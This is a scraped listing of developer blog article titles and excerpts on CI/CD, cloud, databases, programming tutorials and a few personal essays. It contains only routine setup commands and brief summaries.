    Introducción En el mundo del desarrollo de software moderno, las herramientas de Integración Continua y Entrega Continua (CI/CD) son fundamentales para automatizar el testing, building y deployment de aplicaciones. GitHub Actions y GitLab CI son dos de las plataformas más populares para implementar pipelines de CI/CD. En este artículo, realizaré una comparación detallada con ejemplos prácticos. GitHub Actions es la solución CI/CD nativa de GitHub, introducida en 2019, que permite automatizar workflows directamente desde los repositorios de GitHub. GitLab CI/CD es la herramienta de integración continua integrada en GitLab, disponible desde 2012, que forma parte del ecosistema completo de DevOps de GitLab. GitHub Actions utiliza archivos YAML en la carpeta .github/workflows/: name: GitHub …  ( 8 min )
    Designing for Infinite Flexibility: Plugin-Based Extensibility in FlowSynx
    Modern automation systems need adaptability. New protocols emerge, organizations revise internal workflows, and integration points evolve. FlowSynx was designed around this philosophy. In FlowSynx, everything is a plugin: custom task types, runtime behaviors, workflow operators, API integrations, validators, and even AI-driven workflow components. This single unifying model unlocks a composable, maintainable, and developer-friendly ecosystem. Let's break down how FlowSynx implements At the heart of FlowSynx lies the IPlugin interface---a carefully crafted contract that all plugins must follow: public interface IPlugin { PluginMetadata Metadata { get; } PluginSpecifications? Specifications { get; set; } Type SpecificationsType { get; } IReadOnlyCollection<string…  ( 10 min )
    Go's Regexp is Slow. So I Built My Own - up to 3000x Faster
    I've been writing Go for years. Love the language. But there's one thing that always bothered me: regex performance. Recently I was processing large text files (logs, traces, datasets) and kept hitting the same wall - regexp.Find() consuming 70-80% of CPU time. Not on complex patterns. On simple stuff like .*error.*connection.*. So I did what any reasonable developer would do: spent 6 months building coregex, a drop-in replacement for Go's regexp that's 3-3000x faster while keeping the same O(n) guarantees. Here's how and why. Let's be direct: Go's regexp is not optimized for performance. It uses Thompson's NFA exclusively - great for correctness (no ReDoS, guaranteed O(n)), terrible for speed: // Searching for "error" in 1MB file re := regexp.MustCompile(`.*error.*`) start := time.Now() r…  ( 11 min )
    Your Database Isn’t a Teenager’s Bedroom: Why Privileges Actually Matter
    Remember when you lived at your parents’ house and you thought your bedroom was your personal kingdom? You closed the door, maybe even put up a “Do Not Enter” sign… and still, somehow, your parents always knew exactly what you were doing. Because they had the key. Denied. Now here’s the twist: This is exactly what happens to your database when you don’t control privileges properly. If a user has too many permissions, it’s basically handing them a master key to the whole house. They can: Read anything Write anything Update anything Drop things Delete things Poke around in rooms they shouldn’t even know exist Just like your childhood bedroom, your database has “doors.” So let’s fix that. 🎩 Explore: The Kozen IAM Utility (a.k.a. Your New Permission Inspector) Ah yes, the name. But behind tha…  ( 8 min )
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    From missed flight to mission: building a 24-hour reminder service on AWS
    A few months ago, my mom missed her flight. She’d been swamped all week, errands, and work. She thought the flight was later, got to the airport, it was too late her flight had gone. When she told me, I felt that gut drop of “we could’ve avoided this.” This wasn’t just about building a reminder service. It was about my journey into DevOps learning AWS resources one by one, connecting them, and seeing how cloud skills can solve everyday problems. From a missed flight to a working solution, this project shows that even small ideas can become powerful learning experiences. Data: Appointments saved in DynamoDB (name, date, time). Compute: AWS Lambda scans appointments and decides who needs reminders. Notify: Amazon SNS sends email/SMS notifications. Table name: Appointment Primary key: Partition key = Name (String) Attributes: Name: e.g., “Dentist Visit” Date: ISO string, e.g., “2025-12-29” Topic name: AppointmentReminders (Standard) Copy the Topic ARN — you’ll need this for Lambda. Add a subscription: Protocol: Email (or SMS) Endpoint: Your email address Confirm the subscription via the AWS email link. Create the Lambda Function (Node.js) Runtime:** Node.js 18.x Handler:** index.handler File name:** `index.js Attach a minimal inline policy to your Lambda’s execution role: ** choosing the specific action that the resources in DynamoDB will need. ** And for SNS ** After that is done give a to the policy. ** Review and click create. Result I tested with a dentist appointment and received an email reminder no more last-minute panics. . what this project solve Forgetting is easy; systems aren’t. ** Cloud skills solving everyday problems.** This is my Devops/cloud engineering journey.  ( 7 min )
    Nano Banana 2
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    The Catch-22 of programming
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    Free tool to remove watermarks from AI images, 100% private
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    How I Designed a Full-Stack Banking Microservices Architecture Using .NET 9 + Angular Nx
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    Building Your Own Block Cipher: Part 1 — Block Cipher Theory & Rebuilding DES (Foundations You Can See)
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    The Brain's Visual Resilience: How We Compensate for Imperfections and Blue Light Shapes Our World
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    DNS Demystified: How It Works, Why Hackers Target It & How DNS Hijacking Really Happens
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    📝 Top AI Tools for Writing in 2025 (That Actually Make You Write Better)
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    Hardware vs Software: Which One Really Came First?
    People often ask this question when they start learning tech: Honestly, it’s not a silly question. I used to wonder about this myself. And once you understand it, a lot of things about technology start making sense. So let me explain it the simplest way possible, without any textbook talk. Let’s Think Normally for a Second Software is just instructions. Now here’s the obvious part: That’s why, logically and historically, hardware came first. The Early Computer Days Back in the 1940s, the first computers were nothing like what we have today. They were huge machines full of wires, switches, and tubes. There was no “software” like apps or programs. If engineers wanted the computer to do something different, they didn’t write code. So when people say “programming,” it literally meant changing …  ( 7 min )
    ASA: The First Architecture Built for the AI-Coding Era
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    Kafka Election Storm
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    Spec-Driven Dev with Human In the loop: how human and agents write code together
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    Symfony Station Communiqué - ✦ Stardate: 28 November 2025 ✦
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    SpamRescue AI : Kiroween Hackathon
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    RXJS interview question
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    Flutter: Essential widgets
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    The Way Forward for Automation Testers in the Age of AI
    The Way Forward for Automation Testers in the Age of AI The buzz around Artificial Intelligence in software development is undeniable. For automation testers, this raises a pivotal question: Will AI replace us? Maybe. Maybe not. But one thing is certain: Our roles are about to change fundamentally. We are moving from being "script writers" to intelligent quality architects. Traditional automation has always battled brittleness — a changed ID or a moved button could break an entire suite. AI-driven tools solve this with: Self-Healing Automation Instead of relying on static selectors, AI agents analyze: DOM structure Visual attributes Behavioral patterns …to locate elements dynamically. ✅ Less script maintenance ✅ More stability ✅ More time to expand coverage As AI tools begin…  ( 7 min )
    How to Use Amazon SNS Data Protection Policies to Prevent Sensitive Data Leakage
    When we build things using event-driven architecture, we almost always run into Amazon SNS and for good reason. It’s simple, scalable, and makes it incredibly easy to fan out messages to multiple subscribers. Imagine a fintech or healthcare application that sends transaction alerts or patient updates via SMS or email. These messages may accidentally include sensitive information such as account details, names, or dates of birth. Encrypting SNS topics and applying strict access controls helps ensure compliance, but it’s equally important to prevent sensitive data from leaking into messages themselves. In this blog, I will walk through how we can protect personal and sensitive information while sending notifications through SNS using Data Protection Policies. Amazon SNS uses data protection …  ( 9 min )
    Building Forms with React Hook Form (Part 2)
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    Building Modern Backends with Kaapi: API Documentation Generation
    Kaapi: A flexible, extensible backend framework for modern APIs with messaging, documentation, and type safety built right in. This series is written for backend developers who love TypeScript and can appreciate Hapi’s design philosophy. (Yes, we actually read it… sometimes.) A good API lives or dies by its documentation. "API that only Chad from DevOps knows how to use", someone eventually needs to understand it. Kaapi does this for you by auto-generating docs in two formats, because why settle for one? OpenAPI v3.1.1: for a complete, machine-readable definition Postman Collection v2.1: for folks on Postman’s free tier (👋 hi, we see you) Before we jump straight into documentation generation, we need... configuration. So let’s start there. A Kaapi app starts like a regular Hapi server: …  ( 13 min )
    Multi-Client Configuration Binding in .NET Using the Modern Options Pattern
    Implementing multi-client configuration in .NET is most effective when global settings and client-specific settings are registered through the modern options pattern. When clients are fixed and represented in code, named options provide a clean mechanism for binding each client’s configuration from appsettings.json. The configuration includes a global section and per-client sections. Here's an example JSON structure: { "GlobalSettings": { "FeatureXEnabled": true, "ApiEndpoint": "https://example.com" }, "Clients": { "ClientA": { "ConnectionString": "Server=A", "Region": "EU" }, "ClientB": { "ConnectionString": "Server=B", "Region": "US" } } } Clients are defined as fixed identifiers in code using an enumeration: public enum Client { …  ( 7 min )
    Weightless Code: My 7-Day Experiment with Google Antigravity
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    Mastering Conventional Commits
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    The Future of WordPress Development in 2025: Trends, Tools, and Best Practices
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    Latest Updates in Vue
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    Monetzly: Your Path to AI Monetization for LLM Apps
    What if Your AI App Could Generate Revenue in Two Ways Simultaneously? As developers, we’re often faced with the challenge of monetizing our AI applications without compromising user experience. The explosion of AI apps has led to a wealth of opportunities, but many of us find ourselves in a bind when it comes to sustainable monetization strategies. Enter Monetzly—the first dual-earning platform designed specifically for AI conversations. Imagine this: your AI app not only delivers exceptional user experiences but also generates revenue through two channels—direct monetization from your app and passive income from hosting relevant ads. With Monetzly, this isn’t just a dream; it’s a reality. 1. Monetize without Barriers Gone are the days of relying solely on subscriptions or paywalls. W…  ( 7 min )
    How I Solved Audio Production as a Non-Musician Developer (My Workflow)
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    How AI and Kiro Built the APIZombie
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    Google's Antigravity Hacked in 24 Hours: Why AI Agents Need a New Security Architecture
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    Rick Beato: I Never Realized This Beatles Song Was Played Like This
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    Untitled
    Check out this Pen I made!  ( 5 min )
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    Day-06: AWS Terraform Project Structure Best practices
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    FileInsta — A Fast & Free Online File Compressor Built for Developers and Creators
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    🚨 PSA for Flutter Developers Using Rive Animations: Fixing Google Play’s New 16KB Page Size Error
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    Farewell-to-Framework-Bloat-How-I-Rediscovered-Simplicity-Without-Sacrificing-Performance
    GitHub Home Hyperlane is a lightweight, high-performance, cross-platform Rust HTTP server framework built on Tokio async runtime. Performance: 324,323 QPS (Keep-Alive on), 51,031 QPS (Keep-Alive off) | Unified API: HTTP, WebSocket, SSE share same interface | Flexible Routing: Static, dynamic, regex routes | Powerful Middleware: Request/response middleware, panic hooks | Real-time: Native WebSocket and SSE support | Cross-platform: Unified experience on Windows, Linux, macOS Quick start: git clone https://github.com/hyperlane-dev/hyperlane-quick-start.git As a backend developer with 10 years of experience, I've seen languages and frameworks rise and fall like empires. I've ridden the waves of hype and seen them crash on the shores of reality. And if there's one thing I've learned, it's that…  ( 8 min )
    🧠Veterinary AI Workflow with OrKa: Specialist Orchestration, Structured JSON Input, and Observable Reasoning
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    How to Detect Model Drift and Set Up Real-Time Alerts for AI Systems
    Table of Contents Why Model Drift Matters for Modern AI Applications Defining Model Drift: Types and Terminology Root Causes of Drift in Production Environments Core Techniques for Detecting Model Drift Real‑Time Alerting Strategies for Immediate Action Implementing a Full‑Stack Drift Detection Pipeline with Maxim AI Best Practices for Ongoing Drift Management Illustrative Case Study: Customer‑Support Chatbot Conclusion & Next Steps AI models that power recommendation engines, fraud detectors, autonomous agents, or conversational assistants are expected to deliver consistent, high‑quality outcomes over weeks, months, or years. However, the data landscape that a model sees in production is rarely static. When the statistical relationship between inputs and targe…  ( 12 min )
    The New Casino: Wall Street's High-Stakes Gambling Epidemic
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    The New Age of JSON Formatting — Faster, Cleaner, Smarter
    Simple. Fast. Visual. The way developers actually want it. As developers, we deal with JSON all day — APIs, configs, logs, schemas… Most tools are either too plain, too slow, or overloaded with ads. 👉 Try it now: https://jsonviewer.tools/ 🔥 What makes this formatter different? JSON shouldn’t break your flow. Whether you're debugging an API response, converting client payloads, mapping schemas, or preparing docs — a good formatter can save minutes every hour. 🛠 Current Supported Conversions And more are coming — including live compare & schema visualize integration. 🌐 Give it a spin — it might replace your current formatter 🟢 No sign-up 👉 Try now: your link here 💬 I’d love feedback If you use it, break it, or want a feature — drop a comment below. More tools are on the way — formatters, converters, visualizers, API utilities and diagram generation. Let’s build faster together. ⚡  ( 7 min )
    A Simple, Popular Game "2048": Deployed on AWS EKS with Fargate
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    3512. Minimum Operations to Make Array Sum Divisible by K
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    Adding Config File
    On my previous posts, I've been creating a text editor based on the Kilo text Editor. The changes explained in this post can be found in the Kilo-go github repository, in the config branch Now we are going to improve it, and since we've finished the guide, I'm not going to continue with the series. In this article we are going to go through the process of: Being able to use in other operating systems and not only in Linux Adding a configuration file so we can change some of the editor's behavior without changing the code First thing we need to address is to be able to run the text editor in any operating system. Upon finishing the series, I found a library that will help us go to raw mode regardless of the operating system we are working in. Note: I was able to test this feature in both Ma…  ( 18 min )
    Understanding Computer File Paths: A Professional Tutorial
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    Trapping Rain Water
    Hey fellow developers, welcome back to our DSA learning series. We hope This is a problem that almost every interviewer loves to ask. It is We are given an array of non-negative integers that represent the For example: Input: [0,1,0,2,1,0,1,3,2,1,2,1] Output: 6 Looking at the structure visually, you can almost see small pits and Let us start with the most straightforward idea --- the one that comes Imagine you are standing at a particular bar of height h. To figure What is the tallest bar on my left? What is the tallest bar on my right? Then, the maximum water level above the current bar is determined by the So the water trapped on index i becomes: min(max height on left, max height on right) − current height This idea is clean and logical. Now, to convert this into code, the public …  ( 9 min )
    How to set up Database Integration Tests in vanilla PHP
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    How God Lifts You When You’ve Run Out of Strength to Lift Yourself
    There comes a point in every person’s life where their strength runs thin. Not because they’re weak, not because they’ve failed, and not because they lack faith—but because life has demanded more from them than any human heart was designed to carry alone. This exhaustion isn’t the kind you solve with a nap or a day off. It’s deeper. It’s quieter. It’s spiritual. It settles into the space between your bones and your breath. It drains you in places no one sees. It makes you feel empty inside even while you’re still trying to function on the outside. This is the kind of tired that comes from surviving too much for too long. holding yourself together. But here is the truth that becomes clearer the longer you walk with God: Many people assume God steps in when you’re strong—when you’re confiden…  ( 10 min )
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    A common issue in serverless applications: the frontend receives a timeout error while CloudWatch logs show the Lambda function completed successfully. Users see failed requests, but backend operations succeed. When a Lambda function is called synchronously, the API waits for it to complete and return a response. For long-running tasks, this might cause considerable delays. Critical timeout constraints: Layer Maximum Timeout Configurable Lambda Function 15 minutes Yes API Gateway (REST) 29 seconds No AppSync (GraphQL) 30 seconds No AWS AppSync provides asynchronous Lambda resolver support. Asynchronous execution lets a GraphQL mutation trigger a Lambda function without waiting for it to finish. The resolver returns immediately, bypassing the 30-second timeout limit. With thi…  ( 7 min )
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    When it comes to protecting your PostgreSQL databases, one of the most critical decisions you'll face is choosing between self-hosted and cloud-based backup solutions. This choice impacts everything from your operational costs to data security and disaster recovery capabilities. Understanding the trade-offs between these approaches can save you from costly mistakes and ensure your data remains safe when you need it most. Data loss can cripple a business in minutes. Whether it's due to hardware failure, human error, or a cyberattack, the consequences of losing critical database information range from operational disruption to permanent reputational damage. A well-planned backup strategy isn't just an IT checkbox — it's a fundamental business continuity requirement that demands careful cons…  ( 9 min )
    From Vibe Coding to Production: Bridging the Gap Between AI Prototypes and Real Systems
    The last year in web development has been crazy. We have seen an exponential rise in AI capabilities and adoption. AI now plays a central role in our industry's business processes, software development practices and strategic focus. Despite that, there is still one area where most companies are lagging behind: actually creating customer value with AI features. There is a big gap between what AI makes possible and what ends up in production. In this post, I want to look at why that gap exists and what technology companies can do to bridge it by changing their systems and constraints, not just by building more demos. The acceleration of AI capabilities has given us a new superpower that can be used by technical and non technical people alike. We can turn concepts and ideas into usable protot…  ( 13 min )
    Python Countdown Timer Tuorial: Step by Step Guide
    Summary: Python Countdown Timer In this comprehensive tutorial, you’ll explore Python Countdown Timer Error Handling Tutorial. It creates an enhanced countdown timer application in Python that includes professional-grade error handling and additional features. We’ll build basic timer concepts to implement a solution that handles invalid inputs, supports hours-minutes-seconds formatting, provides user-friendly prompts, and gracefully manages unexpected interruptions. You’ll master key programming techniques including try-except blocks for error management, recursive function calls for input validation, multi-level time calculations, and proper cleanup procedures for user interruptions. #imported 'time' module to deal with time related function import time # function to execute all code …  ( 9 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four is CinemaSins’ rapid-fire roast of Marvel’s reboot, clocking in under 20 minutes and gleefully tallying every plot hole, odd character beat and CGI hiccup—ultimately branding the film “sintastic” rather than outright bad. Amid the snark they shout out BetterHelp (for a therapy discount), drop links to their website, social channels, polls and Patreon, and roll credits for their writing team while inviting fans to keep the conversation going on Discord, Reddit, TikTok, Instagram and beyond. Watch on YouTube  ( 6 min )
    Python on Ubuntu: Installation, Setup, and First Steps
    I recommend viewing first – installation of Homebrew and asdf on Ubuntu (it's short, just 5 commands) Python - Docs Python - On DevDocs.io Flask — Minimalist, simple. FastAPI — Very fast, modern. Django — Complete and structured. sudo apt update sudo apt install python3 python3-pip brew install python Check version: pip3 --version Install a package: pip install System dependencies sudo apt update sudo apt install -y build-essential libssl-dev zlib1g-dev \ libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm \ libncursesw5-dev xz-utils tk-dev libxml2-dev libxmlsec1-dev Install plugin + version asdf plugin add python asdf list-all python # install different versions asdf install python 3.12.2 asdf install python 2.7.18 # Set a global version asdf global python 3.12.2 # …  ( 8 min )
    Hey There! this is my first blog.
    Hey this Site is awsome , i can write Code here easy  ( 6 min )
    LogInSight: A Lightweight CloudWatch Log Analytics Tool for Faster Debugging and Real-Time Insights
    Modern applications generate thousands of logs every day, but teams still struggle to find issues quickly. Traditional log monitoring often involves searching manually through CloudWatch, jumping between services, and spending valuable time correlating events. This article explains how LogInSight improves debugging efficiency and how the system works from log ingestion to real-time insights Centralized Log Visibility Faster Debugging and Issue Detection Better Operational Insights Lightweight and Cost-Efficient Real-Time Awareness Log Ingestion from AWS CloudWatch Retrieves logs in batches Converts raw streams into structured JSON Stores processed entries in a local SQLite database Categorizes logs by service, level, and timestamp This creates a consolidated log source that is easier to se…  ( 7 min )
    The Vibe Tax: How Unvalidated AI Code Is Flooding the Market and Driving Up Technical Debt
    We need to talk about the bill. Right now, the tech industry is enjoying an all-you-can-eat buffet of free code. You want a landing page? Here is the HTML. You want a Python script to scrape emails? Done in seconds. It feels like we have unlocked a cheat code for productivity. But as any senior developer will tell you, there is no such thing as free code. I have started noticing a pattern in recent code reviews and freelance audits. I call it "The Vibe Tax." It is the hidden cost of pasting code that you do not fully understand, and it is about to become the most expensive line item in software development. The problem with AI generation isn't that the code is wrong. Often, it is technically correct. The problem is that AI has zero sense of context. If you ask ChatGPT to write a function t…  ( 8 min )
    How I Balance My Finances While Learning Coding on DEV
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    I Learn Better Visually, So I Made a ReactJS Mindmap
    Hey everyone. This mind map ties together all the main ideas. State, components, hooks, JSX, context, rendering, lifecycle, and so on. It puts them into one neat layout you can zoom around in. If you learn best by seeing things laid out like I do, check out this free preview - ReactJS Explained in One Mindmap That preview gives you the overall structure and how it all flows. You get a solid big picture of React that way. I hope it comes in handy for anyone studying or going over the material.  ( 6 min )
    How to Create a Countdown Timer in Python?
    Summary: Countdown Timer in Python In this article, you'll learn how to create a countdown timer in Python that displays real-time updates in the console. We'll explore how to build a timer that accepts user input for the countdown duration, converts seconds into a readable minutes:seconds format, and provides visual time update with each passing second. You'll understand key programming concepts including while loops, time manipulation with Python's time module, string formatting for digital clock display, and the technique of updating console output in place using carriage returns. This practical project demonstrates how to create interactive console applications with real-time visual feedback. Complete Code: Building a Countdown Timer in Python: A Real-Time Console Application #LOGICA…  ( 9 min )
    DeployEase Performance Upgrades: Task Queuing and Smart Caching for Faster AWS Deployments
    Hello developers! Since my last posts about DeployEase, I’ve been working on improving the performance and scalability of DeployEase. Today, I want to share two major updates that make the platform faster, more reliable, and ready to handle multiple deployments at scale: task queuing for heavy operations and smart caching of frequent data. Previously, DeployEase handled deployments synchronously. That meant if two developers triggered deployments at the same time, both requests would hit the server directly and try to perform heavy tasks simultaneously, such as: Creating EC2 instances Cloning Git repositories Installing dependencies Starting applications This approach worked but had limitations: High server load during multiple deployments Risk of timeouts if deployments took longer than e…  ( 7 min )
    Day F10: Nineteen and Hating Every Minute of It
    Today was my birthday. I'm 19 now. And I genuinely hate it. Not in the "I don't have friends" crying way. I have friends. I have family. Got plenty of wishes. People showed up. We celebrated at night for about an hour. Cake, some laughs, the usual birthday stuff. Then I headed back to my room. And that's when everything came back. All the shit I thought I escaped? It was just waiting. Walked into my room and it all hit at once. Every negative thought, every bit of self-hatred, everything I've been pushing down for days. No reason for it. Birthday was fine. People were nice. Nothing objectively bad happened. But birthdays do this to me. Always have. It's not about celebrating. It's about counting. Counting everyone who's not there anymore. Everyone you lost over the past year. Everyone who …  ( 7 min )
    SAP–TCS Expand Strategic Collaboration With New Enterprise-Grade IoT Security Push
    SAP and TCS have announced a deeper collaboration focused on bolstering IoT security for global enterprises. The move aims to address the rising pressure businesses face from connected devices and expanding cloud architectures. Both companies are integrating their strengths across software, consulting, and digital engineering. The combined approach promises more secure operations for industries undergoing rapid transformation. The partnership directly benefits sectors such as manufacturing, logistics, and utilities where IoT adoption is accelerating. Background & Context IoT ecosystems have grown exponentially across enterprise environments, introducing new security gaps and operational challenges. SAP’s cloud and enterprise applications have become foundational to digital transformation, …  ( 7 min )
    How to Upgrade to Prisma v7?
    Prisma v7 brings real improvements — better performance, cleaner architecture with adapters, and more predictable behavior in ESM environments. The challenge isn’t whether to upgrade, it’s upgrading without unnecessary chaos. This guide focuses on exactly that: what you need to change to move from Prisma v6 to v7 safely, why those changes exist, and what to avoid. No fluff, no magic commands that break half your project. The main areas that change during the upgrade: Dependencies and build tooling TypeScript config and module format Prisma client generation path Database connection using adapters Import paths inside the project If you understand these pieces, upgrading becomes straightforward — not a guessing game. During the initial migration attempt, the upgrade followed Prisma’s AI‑gene…  ( 9 min )
    I wanted to code from my phone with Claude code
    Most of my “I want to code” moments happen away from the desk. I’ll kick off a change with a CLI agent (like Claude Code), walk away, and it just sits there waiting for my confirmation. Or I’m in bed / out on a walk, get a great idea, and want to quickly test it on my real codebase — but the agent is stuck on the machine I left. So I built an open-source, completely free way to quickly reconnect to your existing CLI code agent from your phone or any browser, over an end-to-end encrypted P2P channel on your own hardware. No cloud IDE, no “move your code to us”, just remote vibe-coding with the agent you already use. If that pain sounds familiar, I’d love your feedback. More details and how to try it: GitHub: https://github.com/Oxonomy/viberra https://viberra.life  ( 6 min )
    Just submitted MeetSpot to the Kiro Hackathon! 🚀
    My favorite thing about @kirodotdev? The Spec-Driven Development. It completely changed my dev approach. I defined my architecture in .kiro/steering/tech.md, and Kiro generated 90% of my Async FastAPI backend strictly following my patterns. It felt like pair programming with a Principal Architect. https://github.com/JasonRobertDestiny/MeetSpot  ( 6 min )
    Predictions for AI Developments by the End of 2027
    Predictions for AI Developments by the End of 2027 Executive Summary Over the next two years (through December 31, 2027), we anticipate rapid maturation and widespread adoption across multiple layers of the AI technology stack. This transformation will encompass foundation models, hardware infrastructure, regulatory frameworks, enterprise workflows, and consumer experiences. The AI landscape is poised for significant evolution as the technology moves from experimental phases into production-grade deployment. Multimodal Foundation Models Become the Default Text-only models will give way to multimodal systems that seamlessly integrate text, images, audio, and video. These unified models will serve as the primary building blocks for AI applications, enabling more natural and ve…  ( 8 min )
    How WSO2 API Manager and WSO2 Identity Server Form the Backbone of Digital Transformation
    Introduction - Why APIs and Identity Are Now the Two Pillars of Modern Architecture Today's enterprises no longer operate as isolated monoliths. They are distributed ecosystems connecting mobile apps, IoT devices, partners, customers, and third-party developers. In this environment: APIs have become business products, not just technical artifacts Identity has become the new security perimeter This shift has created two essential disciplines: API Management (APIM): governing exposure, traffic, quality, and monetization Identity and Access Management (IAM): enabling secure and seamless access WSO2's open-source suite - WSO2 API Manager and WSO2 Identity Server - is a leading platform for scalable, secure, cloud-native digital systems. Traditional SOA relied on heavy ESBs and XML-based SOAP…  ( 8 min )
    What are the Programming Languages?
    There are many programming languages in the world. I tell about mostly using programming languages. These are C (Foundation of Everything, OS, Embedded systems, Core computing) C++ (System softwares(Windows,Android,Macos,Linux),Game Engines(Godot,Unity,Unreal Engines),Critical Apps(Video editing Java (Banking apps(like Gpay,Official banking apps),Android) JavaScript (Web development (frontend + backend with Node.js). Python (AI, ML, automation, backend, data science) C# (Game dev (Unity), enterprise(Banking Software,Large scale web apps), desktop apps) TypeScript (Modern web apps(Google,Microsoft,Uber,Meta,Spotify), safer JavaScript, used by big companies) Kotlin (Main language for Android development) Swift (For iOS apps (iPhone/iPad)) PHP (server-side programming language used to build backend for websites(Wikipedia,WordPress,Yahoo)) Ruby (programming language used mainly for web development(Github,Shopify)) Rust (Speed (as fast as C/C++),Memory safety (no crashes Scala (The default language for Apache Spark, the biggest big-data processing engine in the world(netflix,amazon,uber,spotify))  ( 6 min )
    Importance of a Feasibility Study in Project Management
    Introduction A feasibility study is a cornerstone of project management. It determines whether a project is viable and reduces risks before significant resources are invested. By providing clear insights into technical, financial, and operational aspects, a feasibility study enables stakeholders to make informed decisions about whether to pursue the project. Identifying potential obstacles early, such as market competition, technological limitations, or legal barriers, helps in developing strategies to mitigate risks. By evaluating project feasibility, organizations can allocate time, money, and personnel efficiently, avoiding wastage on non-viable projects. A well-documented feasibility study demonstrates professionalism and reduces perceived risks, making it easier to secure funding or stakeholder approval. The study highlights potential challenges, timelines, and resource needs, enabling precise planning and realistic expectations. Through market research and analysis, the feasibility study confirms whether there is sufficient demand for the product or service, ensuring project relevance. A feasibility study is not just a preliminary task—it is a strategic tool. It validates ideas, reduces risks, ensures efficient resource usage, and increases the likelihood of project success.  ( 6 min )
    Setting Up VS Code SSH Remote Development on OpenWrt
    VS Code's Remote SSH extension requires SFTP (SSH File Transfer Protocol) support, which isn't available in Dropbear, OpenWrt's default SSH server. You'll need to switch to OpenSSH for full compatibility. Follow the official OpenWrt guide to replace Dropbear with OpenSSH VS Code Remote requires a recent version of tar with specific features. OpenWrt's BusyBox tar is too limited: opkg install tar tar --version Create or edit your SSH config file to simplify connections. Windows: C:\Users\YourUsername\.ssh\config Linux/Mac: ~/.ssh/config Add this configuration: Host openwrt HostName 192.168.56.66 User root IdentityFile ~/.ssh/openwrt This allows you to connect with just ssh openwrt instead of typing the full command each time. Install the Remote - SSH extension in VS Code Press F1 or Ctrl+Shift+P to open the command palette Type "Remote-SSH: Connect to Host" Select openwrt from the list VS Code will connect and install the VS Code Server on OpenWrt The first connection takes a few minutes as VS Code downloads and installs its server components (~50-100MB).  ( 7 min )
    Optimizing SVGs for Web Performance & Scalability in 2025
    Optimizing SVGs for Web Performance & Scalability in 2025 SVGs have become a core part of modern UI design — from icons to illustrations, animations, graphs, and advanced interface elements. But to get the best performance and scalability, they need proper optimization. This guide breaks down practical, real-world techniques to help you get the most out of SVGs in 2025. You’ll learn: ✅ How to optimize SVG markup and reduce file size ✅ Inline vs external SVG — when to use which ✅ SVG symbol sprites for performance ✅ Accessibility considerations for icons & illustrations ✅ Animating SVGs efficiently (CSS vs SMIL vs JS) ✅ Responsive SVG scaling without distortion If your site uses SVG icons, illustrations, or animated components, this guide will help boost speed, clarity, and responsiveness. Read the full guide: 👉 https://www.frontendtools.tech/blog/optimizing-svgs-web-performance-scalability Try the SVG Path Editor Tool: 👉 https://www.frontendtools.tech/tools/svg-path-editor SVG #Frontend #Performance #WebDev #UI #Optimization  ( 6 min )
    SmartKNN: An Interpretable Weighted Distance Framework for K-Nearest Neighbours
    SmartKNN vs Weighted_KNN & KNN: A Practical Benchmark on Real Regression Datasets K-Nearest Neighbours is still widely used in industry because it’s simple, interpretable, and surprisingly strong on tabular data. KNN Weighted_KNN SmartKNN All experiments were performed on ~31 real regression datasets across two batches. Metric Weighted_KNN SmartKNN Avg MSE (Batch 1) 4.146e7 4.181e7 Avg MSE (Batch 2) 2.354e6 1.423e6 Typical R² 0.10 – 0.50 0.50 – 0.88 RMSE trend Higher Lower Interpretation: Batch 1 was influenced by several outlier datasets with huge variance, which inflated MSE for both models. Batch 2 shows the true behaviour: SmartKNN produces more accurate, stable, and variance-aware predictions. SmartKNN consistently achieves higher R² and noticeably lower RMSE…  ( 7 min )
    Mastering Terraform File Structure – From Chaos to Clean Architecture
    When working with Infrastructure as Code (IaC), writing the resource definitions is only half the job. The other half, and often the more important part, is organizing your Terraform configuration so it's scalable, readable, and easy to maintain over time. Today, I focused on understanding and implementing Terraform file structure best practices, and here's a breakdown of everything I learned and applied. Why File Structure Matters in Terraform Terraform loads all .tf files in the current directory and merges them into a single configuration. The filenames don’t affect execution, but they have a massive impact on: Readability Collaboration within teams Debugging and maintenance Scaling configurations as infrastructure grows Recommended Terraform Project Structure project-root/ ├── backend.tf ├── provider.tf ├── variables.tf ├── locals.tf ├── main.tf ├── vpc.tf ├── security.tf ├── compute.tf ├── storage.tf ├── database.tf ├── outputs.tf ├── terraform.tfvars └── README.md Environment-Based Structure environments/ dev/ staging/ production/ modules/ shared/ Service-Based Structure infrastructure/ networking/ compute/ security/ storage/ data/ Conclusion Terraform isn’t just about creating infrastructure. It’s about creating maintainable infrastructure. A clean file structure is a superpower that helps teams collaborate efficiently and scale infrastructure reliably.  ( 6 min )
    LogoDash: Make a "Just Right" Logo/favicon for Faster Launches
    Hello everyone, I’m Bobcat(huayemao), an independent developer focused on building minimalist, elegant, and efficient productivity tools. Today, I’d like to share my latest creation—LogoDash. Its slogan is “Create beautiful logos in a dash,”. This tool is designed for independent developers and creators who value efficiency. With no design experience required, you can quickly generate gradient-style icons that adapt to both light and dark modes, helping your product launch faster. As a developer specializing in minimalist productivity tools, I’ve built five apps in the past month. However, what often delays a product’s launch isn’t unfinished features—it’s the lack of a simple, visually appealing logo. Since my tools often have both web and desktop versions, a clear, high-quality icon is …  ( 7 min )
    Script to list MongoDB collection URI (to map to WiredTiger files)
    When tracing I/O to WiredTiger files, like with strace -y, the filenames do not give the collection name: strace -yy -e trace=pwrite64 -s100 -fqT -p $(pgrep -d, mongod) [pid 237] pwrite64(15, "\0\2\0\0\6\314kK\0\0\0\0\0\0\0\0\201\300\211\204\300%\202\265table:collection-2fb69242-1b95-4a08-9939-23172e5ea178+\0\0\0\22numRecords\0\3\0\0\0\0\0\0"..., 512, 200576) = 512 [pid 238] pwrite64(69, "\0\0\0\0\0\0\0\0\10\0\0\0\0\0\0\0`\0\0\0\2\0\0\0\7\4\0\1\0\20\0\0\225\21\375t\1\0\0\0\5\201\214(\350i*%\214\377\377\337\303\300\207\200\247'\0\0\0\2_id\0\6\0\0\0test1\0\2marker\0\7\0\0\0Franck\0\0\0\0\0\0"..., 4096, 4096) = 4096 [pid 238] pwrite64(69</data/db/collection-7e76…  ( 9 min )
    Building Trinity Shield: Our Custom TEE Solution for Multi-Chain Security
